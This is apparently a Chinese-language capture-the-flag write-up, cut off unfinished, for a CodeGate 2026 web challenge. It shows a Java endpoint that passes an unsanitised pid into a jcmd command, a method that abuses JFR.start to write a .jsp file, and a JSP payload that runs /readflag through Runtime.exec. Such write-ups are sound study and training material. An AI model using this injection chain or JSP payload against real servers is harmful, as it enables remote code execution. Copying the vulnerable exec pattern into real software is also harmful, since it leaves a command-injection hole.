CodeGate CTF 2026 复现

WEB

juice of Apple, Vegetable, Apricot

![image-20260403165005943](image/CodeGate CTF 2026 复现/image-20260403165005943.png)

题目不复杂,主要就是获取PID,然后拼接进去执行jcmd命令

/api/status?pid=

1
2
String cmd = "jcmd " + pid + " VM.version";
Process p = Runtime.getRuntime().exec(cmd);

/api/heap?pid=

1
2
String cmd = "jcmd " + pid + " GC.heap_info";
Process p = Runtime.getRuntime().exec(cmd);

/api/threads?pid=

1
2
String cmd = "jcmd " + pid + " Thread.print";
Process p = Runtime.getRuntime().exec(cmd);

pid没有经过处理,是会产生命令注入的,那么我们要想一个办法写文件

我们需要找一个命令,不会让pid后面的字符导致命令报错不执行

jcmd $pid JFR.start刚好非常合适,后面多余的参数只会产生WARNING,不会导致命令不执行直接报错退出

![image-20260403170001003](image/CodeGate CTF 2026 复现/image-20260403170001003.png)

成功写入了jsp文件,那么接下来就要想办法控制jsp的内容

![image-20260403170218489](image/CodeGate CTF 2026 复现/image-20260403170218489.png)

Oracle官方文档里对JFR.Start的一部分介绍

https://docs.oracle.com/en/java/javase/17/docs/specs/man/jcmd.html

1
2
3
4
5
6
7
Event settings and .jfc options can be specified using the following syntax:

option: (Optional) Specifies the option value to modify. To list available options, use the JAVA_HOME/bin/jfr tool.

event-setting: (Optional) Specifies the event setting value to modify. Use the form: #= To add a new event setting, prefix the event name with '+'.

You can specify values for multiple event settings and .jfc options by separating them with a whitespace. In case of a conflict between a parameter and a .jfc option, the parameter will take precedence.

题目的.jfr文件在/opt/java/openjdk/lib/jfr/profile.jfc

我们看关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  <selection name="exceptions" default="errors" label="Exceptions">
<option label="Off" name="off">off</option>
<option label="Errors Only" name="errors">errors</option>
<option label="All Exceptions, including Errors" name="all">all</option>
</selection>

<condition name="enable-errors" true="true" false="false">
<or>
<test name="exceptions" operator="equal" value="errors"/>
<test name="exceptions" operator="equal" value="all"/>
</or>
</condition>

<condition name="enable-exceptions" true="true" false="false">
<test name="exceptions" operator="equal" value="all"/>
</condition>


<event name="jdk.JavaExceptionThrow">
<setting name="enabled" control="enable-exceptions">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.JavaErrorThrow">
<setting name="enabled" control="enable-errors">true</setting>
<setting name="stackTrace">true</setting>
</event>

根据前面文档里说的You can specify values for multiple event settings and .jfc options by separating them with a whitespace. In case of a conflict between a parameter and a .jfc option, the parameter will take precedence.

所以当我们传入settings=profile exceptions=all,配置exceptions的值会被覆盖成all,这会使得jdk.JavaExceptionThrowjdk.JavaErrorThrow都被记录

payload中不能出现空格,不然抛出异常的时候会被截断,导致payload不完整,这里随便找个办法获取exec的输出

1
/xxx/<%=java.util.Scanner.class.getConstructor(java.io.InputStream.class).newInstance(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream()).useDelimiter("\\A").next()%>

触发报错

1
Invalid character found in the request target [/<%=java.util.Scanner.class.getConstructor(java.io.InputStream.class).newInstance(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream()).useDelimiter("\\A").next()%> ]. The valid characters are defined in RFC 7230 and RFC 3986

![image-20260403184619862](image/CodeGate CTF 2026 复现/image-20260403184619862.png)

到test.jsp里搜索Invalid character found in the request

![image-20260403184229020](image/CodeGate CTF 2026 复现/image-20260403184229020.png)

未完待续….